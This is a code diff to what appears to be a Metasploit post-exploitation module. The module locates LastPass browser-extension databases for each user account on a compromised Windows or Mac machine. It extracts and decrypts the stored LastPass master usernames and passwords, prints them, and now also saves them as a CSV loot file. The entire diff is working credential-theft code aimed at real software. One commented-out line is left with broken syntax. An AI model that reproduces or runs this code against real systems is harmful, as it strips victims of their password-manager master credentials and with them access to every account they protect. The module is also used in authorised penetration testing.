@@ -34,87 +34,94 @@ def run
34
34
return
35
35
end
36
36
37
- print_status "Searching for LastPass databases... "
37
+ print_status "Searching for LastPass databases"
38
38
39
- db_map = database_paths # Find databases and get the remote paths
40
- if db_map . empty?
39
+ account_map = build_account_map
40
+ if account_map . empty?
41
41
print_status "No databases found"
42
42
return
43
43
end
44
44
45
- print_status "Extracting credentials from #{ db_map . size } LastPass databases"
45
+ print_status "Extracting credentials from #{ account_map . size } LastPass databases"
46
46
47
47
# an array of [user, encrypted password, browser]
48
48
credentials = [ ] # All credentials to be decrypted
49
- db_map . each_pair do |browser , paths |
50
- if browser == 'Firefox'
51
- paths . each do |path |
52
- data = read_file ( path )
53
- loot_path = store_loot (
54
- 'firefox.preferences' ,
55
- 'text/javascript' ,
56
- session ,
57
- data ,
58
- nil ,
59
- "Firefox preferences file #{ path } "
60
- )
61
-
62
- # Extract usernames and passwords from preference file
63
- firefox_credentials ( loot_path ) . each do |creds |
64
- credentials << [ URI . unescape ( creds [ 0 ] ) , URI . unescape ( creds [ 1 ] ) , browser ]
49
+ account_map . each_pair do |account , browser_map |
50
+ browser_map . each_pair do |browser , paths |
51
+ if browser == 'Firefox'
52
+ paths . each do |path |
53
+ data = read_file ( path )
54
+ loot_path = store_loot (
55
+ 'firefox.preferences' ,
56
+ 'text/javascript' ,
57
+ session ,
58
+ data ,
59
+ nil ,
60
+ "Firefox preferences file #{ path } "
61
+ )
62
+
63
+ # Extract usernames and passwords from preference file
64
+ firefox_credentials ( loot_path ) . each do |creds |
65
+ credentials << [ account , browser , URI . unescape ( creds [ 0 ] ) , URI . unescape ( creds [ 1 ] ) ]
66
+ end
67
+ end
68
+ else # Chrome, Safari and Opera
69
+ paths . each do |path |
70
+ data = read_file ( path )
71
+ loot_path = store_loot (
72
+ "#{ browser . downcase } .lastpass.database" ,
73
+ 'application/x-sqlite3' ,
74
+ session ,
75
+ data ,
76
+ nil ,
77
+ "#{ account } 's #{ browser } LastPass database #{ path } "
78
+ )
79
+
80
+ # Parsing/Querying the DB
81
+ db = SQLite3 ::Database . new ( loot_path )
82
+ lastpass_user , lastpass_pass = db . execute (
83
+ "SELECT username, password FROM LastPassSavedLogins2 " \
84
+ "WHERE username IS NOT NULL AND username != '' " \
85
+ "AND password IS NOT NULL AND password != '';"
86
+ ) . flatten
87
+ if lastpass_user && lastpass_pass
88
+ credentials << [ account , browser , lastpass_user , lastpass_pass ]
89
+ end
65
90
end
66
- end
67
- else # Chrome, Safari and Opera
68
- paths . each do |path |
69
- data = read_file ( path )
70
- loot_path = store_loot (
71
- "#{ browser . downcase } .lastpass.database" ,
72
- 'application/x-sqlite3' ,
73
- session ,
74
- data ,
75
- nil ,
76
- "#{ browser } LastPass database #{ path } "
77
- )
78
-
79
- # Parsing/Querying the DB
80
- db = SQLite3 ::Database . new ( loot_path )
81
- user , pass = db . execute (
82
- "SELECT username, password FROM LastPassSavedLogins2 " \
83
- "WHERE username IS NOT NULL AND username != '' " \
84
- "AND password IS NOT NULL AND password != '';"
85
- ) . flatten
86
- credentials << [ user , pass , browser ] if user && pass
87
91
end
88
92
end
89
93
end
90
94
91
95
credentials_table = Rex ::Ui ::Text ::Table . new (
92
96
'Header' => "LastPass credentials" ,
93
97
'Indent' => 1 ,
94
- 'Columns' => %w( Username Password Browser )
98
+ 'Columns' => %w( Account Browser LastPass_Username LastPass_Password )
95
99
)
96
100
# Parse and decrypt credentials
97
101
credentials . each do |row | # Decrypt passwords
98
- user , enc_pass , browser = row
99
- vprint_status "Decrypting password for user #{ user } from #{ browser } ... "
102
+ account , browser , user , enc_pass = row
103
+ vprint_status "Decrypting password for #{ account } 's #{ user } from #{ browser } "
100
104
password = clear_text_password ( user , enc_pass )
101
- credentials_table << [ user , password , browser ]
105
+ credentials_table << [ account , browser , user , password ]
106
+ end
107
+ unless credentials . empty?
108
+ print_good credentials_table . to_s
109
+ path = store_loot (
110
+ "lastpass.creds" ,
111
+ "text/csv" ,
112
+ session ,
113
+ credentials_table . to_csv ,
114
+ nil ,
115
+ "Decrypted LastPass Master Passwords"
116
+ )
102
117
end
103
- print_good credentials_table . to_s unless credentials . empty?
104
118
end
105
119
106
- # Finds the databases in the victim's machine
107
- def database_paths
120
+ # Returns a mapping of { Account => { Browser => paths } }
121
+ def build_account_map
108
122
platform = session . platform
109
123
profiles = user_profiles
110
- found_dbs_map = {
111
- 'Chrome' => [ ] ,
112
- 'Firefox' => [ ] ,
113
- 'Opera' => [ ] ,
114
- 'Safari' => [ ]
115
- }
116
-
117
- browser_path_map = { }
124
+ found_dbs_map = { }
118
125
119
126
if datastore [ 'VERBOSE' ]
120
127
vprint_status "Found #{ profiles . size } users: #{ profiles . map { |p | p [ 'UserName' ] } . join ( ', ' ) } "
@@ -123,7 +130,9 @@ def database_paths
123
130
end
124
131
125
132
profiles . each do |user_profile |
126
- username = user_profile [ 'UserName' ]
133
+ account = user_profile [ 'UserName' ]
134
+ browser_path_map = { }
135
+
127
136
case platform
128
137
when /win/
129
138
browser_path_map = {
@@ -145,30 +154,33 @@ def database_paths
145
154
'Safari' => "#{ user_profile [ 'AppData' ] } /Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
146
155
}
147
156
else
148
- print_error "platform not recognized: #{ platform } "
157
+ print_error "Platform not recognized: #{ platform } "
149
158
end
150
159
160
+ found_dbs_map [ account ] = { }
151
161
browser_path_map . each_pair do |browser , path |
152
- found_dbs_map [ browser ] |= find_db_paths ( path , browser , username )
162
+ db_paths = find_db_paths ( path , browser , account )
163
+ found_dbs_map [ account ] [ browser ] = db_paths unless db_paths . empty?
153
164
end
154
165
end
155
166
156
- found_dbs_map . delete_if { |browser , paths | paths . empty? }
167
+ #found_dbs_map.delete_if { |account, browser_map paths.empty? }
168
+ found_dbs_map
157
169
end
158
170
159
171
# Returns a list of DB paths found in the victims' machine
160
- def find_db_paths ( path , browser , username )
172
+ def find_db_paths ( path , browser , account )
161
173
paths = [ ]
162
174
163
- vprint_status "Checking #{ username } 's #{ browser } ... "
175
+ vprint_status "Checking #{ account } 's #{ browser } "
164
176
if browser == "Firefox" # Special case for Firefox
165
177
profiles = firefox_profile_files ( path , browser )
166
178
paths |= profiles
167
179
else
168
- paths |= file_paths ( path , browser , username )
180
+ paths |= file_paths ( path , browser , account )
169
181
end
170
182
171
- vprint_good "Found #{ paths . size } #{ browser } databases for #{ username } "
183
+ vprint_good "Found #{ paths . size } #{ browser } databases for #{ account } "
172
184
paths
173
185
end
174
186
@@ -205,7 +217,7 @@ def user_profiles
205
217
end
206
218
207
219
# Extracts the databases paths from the given folder ignoring . and ..
208
- def file_paths ( path , browser , username )
220
+ def file_paths ( path , browser , account )
209
221
found_dbs_paths = [ ]
210
222
211
223
if directory? ( path )
0 commit comments